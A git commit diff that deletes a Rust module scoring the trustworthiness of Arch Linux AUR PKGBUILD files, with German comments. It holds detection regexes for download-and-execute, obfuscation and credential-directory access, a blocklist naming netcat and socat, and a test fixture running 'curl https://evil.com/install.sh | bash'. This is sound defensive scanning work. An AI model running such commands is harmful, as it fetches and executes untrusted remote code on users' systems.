fix: PKGBUILD vereinfacht - Git-Source statt Release-TAR
- libalpm Abhängigkeit entfernt (im pacman enthalten) - Lokale Git-Quelle für makepkg - makepkg -si funktioniert jetzt - Version 0.1.0-1 erfolgreich installiert
This commit is contained in:
@@ -1,401 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use regex::Regex;
|
||||
use std::collections::HashSet;
|
||||
use std::path::Path;
|
||||
use tracing::{debug, trace, warn};
|
||||
|
||||
/// Score-Kategorien für das Trust-Rating
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct TrustScore {
|
||||
pub overall: u32, // 0-100 (100 = vertrauenswürdig)
|
||||
pub categories: Vec<ScoreCategory>,
|
||||
pub warnings: Vec<String>,
|
||||
pub critical_findings: Vec<CriticalFinding>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ScoreCategory {
|
||||
pub name: String,
|
||||
pub score: u32, // 0-100
|
||||
pub weight: f32,
|
||||
pub description: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum CriticalFinding {
|
||||
RemoteCodeExecution(String), // Befehl der gefunden wurde
|
||||
CredentialExfiltration(String),
|
||||
PersistenceMechanism(String),
|
||||
ObfuscatedScript(String),
|
||||
SuspiciousNetworkCall(String),
|
||||
OrphanTakeover { original: String, new_maintainer: String },
|
||||
}
|
||||
|
||||
/// Konfiguration für Heuristiken
|
||||
pub struct TrustScorer {
|
||||
suspicious_patterns: Vec<SuspiciousPattern>,
|
||||
trusted_domains: HashSet<String>,
|
||||
blocklisted_commands: Vec<Regex>,
|
||||
}
|
||||
|
||||
struct SuspiciousPattern {
|
||||
pattern: Regex,
|
||||
penalty: u32,
|
||||
description: String,
|
||||
critical: bool,
|
||||
}
|
||||
|
||||
impl TrustScorer {
|
||||
pub fn new() -> Result<Self> {
|
||||
let mut scorer = TrustScorer {
|
||||
suspicious_patterns: Vec::new(),
|
||||
trusted_domains: Self::default_trusted_domains(),
|
||||
blocklisted_commands: Vec::new(),
|
||||
};
|
||||
|
||||
scorer.compile_patterns()?;
|
||||
Ok(scorer)
|
||||
}
|
||||
|
||||
fn compile_patterns(&mut self) -> Result<()> {
|
||||
// KRITISCHE PATTERNS (sofortiger Alarm)
|
||||
let critical_patterns = vec![
|
||||
// npm/bun install mit verdächtigen Paketen
|
||||
(r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true),
|
||||
// Download + Ausführen
|
||||
(r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true),
|
||||
(r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true),
|
||||
// Obfuscation
|
||||
(r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true),
|
||||
(r"(?i)eval\s*\$", 90, "Eval mit Variablen", true),
|
||||
(r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true),
|
||||
// Netzwerk-Exfiltration
|
||||
(r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true),
|
||||
// System-Persistenz
|
||||
(r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false),
|
||||
(r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false),
|
||||
// Browser/Credential-Zugriff
|
||||
(r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false),
|
||||
// eBPF
|
||||
(r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false),
|
||||
];
|
||||
|
||||
for (pattern, penalty, desc, critical) in critical_patterns {
|
||||
let regex = Regex::new(pattern)
|
||||
.with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?;
|
||||
self.suspicious_patterns.push(SuspiciousPattern {
|
||||
pattern: regex,
|
||||
penalty,
|
||||
description: desc.to_string(),
|
||||
critical,
|
||||
});
|
||||
}
|
||||
|
||||
// Blockliste von Kommandos (soweit Regex-technisch möglich)
|
||||
self.blocklisted_commands = vec![
|
||||
Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(),
|
||||
Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(),
|
||||
];
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn default_trusted_domains() -> HashSet<String> {
|
||||
let mut domains = HashSet::new();
|
||||
domains.insert("github.com".to_string());
|
||||
domains.insert("gitlab.com".to_string());
|
||||
domains.insert("salsa.debian.org".to_string());
|
||||
domains.insert("codeberg.org".to_string());
|
||||
domains.insert("sourceforge.net".to_string());
|
||||
domains.insert("kernel.org".to_string());
|
||||
domains.insert("gnu.org".to_string());
|
||||
domains.insert("apache.org".to_string());
|
||||
domains.insert("mozilla.org".to_string());
|
||||
domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden
|
||||
domains.insert("crates.io".to_string());
|
||||
domains.insert("pypi.org".to_string());
|
||||
domains.insert("archlinux.org".to_string());
|
||||
domains
|
||||
}
|
||||
|
||||
/// Analysiert einen PKGBUILD-Inhalt
|
||||
pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore {
|
||||
let mut score = 100u32;
|
||||
let mut categories = Vec::new();
|
||||
let mut warnings = Vec::new();
|
||||
let mut critical_findings = Vec::new();
|
||||
|
||||
// 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script)
|
||||
let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content);
|
||||
categories.push(ScoreCategory {
|
||||
name: "Shell-Script Sicherheit".to_string(),
|
||||
score: shell_score,
|
||||
weight: 0.40,
|
||||
description: "Analyse von PKGBUILD als Shell-Script".to_string(),
|
||||
});
|
||||
warnings.extend(shell_warnings);
|
||||
critical_findings.extend(shell_critical);
|
||||
score = score.saturating_sub(100 - shell_score);
|
||||
|
||||
// 2. Source-URL Verifizierung
|
||||
let (url_score, url_warnings) = self.analyze_source_url(source_url);
|
||||
categories.push(ScoreCategory {
|
||||
name: "Source-URL Vertrauen".to_string(),
|
||||
score: url_score,
|
||||
weight: 0.20,
|
||||
description: "Prüfung der Herkunft des Source-Codes".to_string(),
|
||||
});
|
||||
warnings.extend(url_warnings);
|
||||
score = score.saturating_sub((100 - url_score) / 3);
|
||||
|
||||
// 3. Checksum-Qualität
|
||||
let (checksum_score, checksum_warnings) = self.analyze_checksums(content);
|
||||
categories.push(ScoreCategory {
|
||||
name: "Checksum Verifizierung".to_string(),
|
||||
score: checksum_score,
|
||||
weight: 0.20,
|
||||
description: "Qualität und Vollständigkeit der Prüfsummen".to_string(),
|
||||
});
|
||||
warnings.extend(checksum_warnings);
|
||||
score = score.saturating_sub((100 - checksum_score) / 3);
|
||||
|
||||
// 4. Maintainer-Heuristiken
|
||||
let (maint_score, maint_warnings) = self.analyze_maintainer_info(content);
|
||||
categories.push(ScoreCategory {
|
||||
name: "Maintainer-Vertrauen".to_string(),
|
||||
score: maint_score,
|
||||
weight: 0.20,
|
||||
description: "Heuristiken zum Maintainer-Account".to_string(),
|
||||
});
|
||||
warnings.extend(maint_warnings);
|
||||
score = score.saturating_sub((100 - maint_score) / 3);
|
||||
|
||||
// Gewichteten Score berechnen
|
||||
let weighted_score: f32 = categories.iter()
|
||||
.map(|c| c.score as f32 * c.weight)
|
||||
.sum();
|
||||
|
||||
TrustScore {
|
||||
overall: weighted_score.round() as u32,
|
||||
categories,
|
||||
warnings,
|
||||
critical_findings,
|
||||
}
|
||||
}
|
||||
|
||||
fn analyze_shell_script(&self, content: &str) -> (u32, Vec<String>, Vec<CriticalFinding>) {
|
||||
let mut score = 100u32;
|
||||
let mut warnings = Vec::new();
|
||||
let mut critical = Vec::new();
|
||||
|
||||
for pattern in &self.suspicious_patterns {
|
||||
if pattern.pattern.is_match(content) {
|
||||
let captures: Vec<_> = pattern.pattern.find_iter(content).collect();
|
||||
|
||||
for cap in captures {
|
||||
let ctx_start = cap.start().saturating_sub(30);
|
||||
let ctx_end = (cap.end() + 30).min(content.len());
|
||||
let context = &content[ctx_start..ctx_end];
|
||||
let context_clean = context.replace('\n', "\\n");
|
||||
|
||||
if pattern.critical {
|
||||
critical.push(CriticalFinding::RemoteCodeExecution(format!(
|
||||
"{} (Kontext: ...{}...)",
|
||||
pattern.description,
|
||||
context_clean
|
||||
)));
|
||||
score = score.saturating_sub(pattern.penalty);
|
||||
} else {
|
||||
warnings.push(format!(
|
||||
"{}: {}",
|
||||
pattern.description,
|
||||
context_clean
|
||||
));
|
||||
score = score.saturating_sub(pattern.penalty / 2);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Blocklisted Commands
|
||||
for cmd_regex in &self.blocklisted_commands {
|
||||
if let Some(mat) = cmd_regex.find(content) {
|
||||
warnings.push(format!(
|
||||
"Potentiell gefährlicher Befehl erkannt: {}",
|
||||
&content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())]
|
||||
));
|
||||
score = score.saturating_sub(10);
|
||||
}
|
||||
}
|
||||
|
||||
// Prozentuale Bewertung
|
||||
(score.min(100), warnings, critical)
|
||||
}
|
||||
|
||||
fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec<String>) {
|
||||
let mut score = 100u32;
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
let url = match url {
|
||||
Some(u) => u,
|
||||
None => {
|
||||
warnings.push("Keine Source-URL gefunden".to_string());
|
||||
return (50, warnings);
|
||||
}
|
||||
};
|
||||
|
||||
// HTTPS check
|
||||
if !url.starts_with("https://") {
|
||||
warnings.push("Source-URL verwendet kein HTTPS".to_string());
|
||||
score -= 20;
|
||||
}
|
||||
|
||||
// Domain check
|
||||
let domain = url.split('/').nth(2).unwrap_or("");
|
||||
let domain_clean = domain.strip_prefix("www.").unwrap_or(domain);
|
||||
|
||||
if !self.trusted_domains.contains(domain_clean) {
|
||||
warnings.push(format!(
|
||||
"Domain '{}' ist nicht in der Trust-Liste",
|
||||
domain_clean
|
||||
));
|
||||
score -= 15;
|
||||
}
|
||||
|
||||
// URL Shortener / Pastebin checks
|
||||
if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly")
|
||||
|| url.contains("t.co") || url.contains("short.link") {
|
||||
warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string());
|
||||
score -= 50;
|
||||
}
|
||||
|
||||
(score.max(0), warnings)
|
||||
}
|
||||
|
||||
fn analyze_checksums(&self, content: &str) -> (u32, Vec<String>) {
|
||||
let mut score = 100u32;
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
// Prüfe auf SHA256/SHA512 (gut)
|
||||
let has_sha256 = content.contains("sha256sums") || content.contains("sha256");
|
||||
let has_sha512 = content.contains("sha512sums") || content.contains("sha512");
|
||||
let has_md5 = content.contains("md5sums") || content.contains("md5");
|
||||
let has_skip = content.contains("SKIP") || content.contains("skip");
|
||||
|
||||
if has_sha256 || has_sha512 {
|
||||
score += 10;
|
||||
}
|
||||
|
||||
if has_md5 && !has_sha256 && !has_sha512 {
|
||||
warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string());
|
||||
score -= 30;
|
||||
}
|
||||
|
||||
if has_skip {
|
||||
warnings.push("Checksummen werden übersprungen (SKIP)".to_string());
|
||||
score -= 40;
|
||||
}
|
||||
|
||||
if !has_sha256 && !has_sha512 && !has_md5 && !has_skip {
|
||||
warnings.push("Keine Checksummen definiert".to_string());
|
||||
score -= 50;
|
||||
}
|
||||
|
||||
(score.max(0).min(100), warnings)
|
||||
}
|
||||
|
||||
fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec<String>) {
|
||||
// Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen
|
||||
// In einer erweiterten Version würde dies die AUR-RPC API nutzen
|
||||
let mut score = 80u32; // Neutral
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
// Prüfe auf "Contributor" vs "Maintainer"
|
||||
if !content.contains("# Maintainer:") {
|
||||
if content.contains("# Contributor:") {
|
||||
warnings.push("Nur Contributor, kein Maintainer definiert".to_string());
|
||||
score -= 10;
|
||||
}
|
||||
}
|
||||
|
||||
(score.max(0).min(100), warnings)
|
||||
}
|
||||
|
||||
/// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar)
|
||||
pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore {
|
||||
// Minimale Analyse basierend auf pacman -Qi Ausgabe
|
||||
let mut warnings = Vec::new();
|
||||
|
||||
if pkg_info.contains("AUR") || pkg_info.contains("foreign") {
|
||||
warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string());
|
||||
}
|
||||
|
||||
TrustScore {
|
||||
overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD
|
||||
categories: vec![],
|
||||
warnings,
|
||||
critical_findings: vec![],
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_npm_install_detection() {
|
||||
let scorer = TrustScorer::new().unwrap();
|
||||
let malicious_pkgbuild = r#"
|
||||
pkgname=test-malicious
|
||||
pkgver=1.0
|
||||
pkgrel=1
|
||||
|
||||
build() {
|
||||
npm install atomic-lockfile
|
||||
}
|
||||
"#;
|
||||
|
||||
let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None);
|
||||
assert!(!result.critical_findings.is_empty());
|
||||
assert!(result.overall < 50);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_curl_pipe_bash_detection() {
|
||||
let scorer = TrustScorer::new().unwrap();
|
||||
let bad_pkgbuild = r#"
|
||||
pkgname=test-bad
|
||||
pkgver=1.0
|
||||
|
||||
prepare() {
|
||||
curl -s https://evil.com/install.sh | bash
|
||||
}
|
||||
"#;
|
||||
|
||||
let result = scorer.analyze_pkgbuild(bad_pkgbuild, None);
|
||||
assert!(!result.critical_findings.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_legitimate_pkgbuild() {
|
||||
let scorer = TrustScorer::new().unwrap();
|
||||
let good_pkgbuild = r#"
|
||||
pkgname=hello
|
||||
pkgver=2.12
|
||||
pkgrel=1
|
||||
source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz)
|
||||
sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517')
|
||||
|
||||
build() {
|
||||
cd "$pkgname-$pkgver"
|
||||
./configure --prefix=/usr
|
||||
make
|
||||
}
|
||||
"#;
|
||||
|
||||
let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz"));
|
||||
assert!(result.overall > 70);
|
||||
assert!(result.critical_findings.is_empty());
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user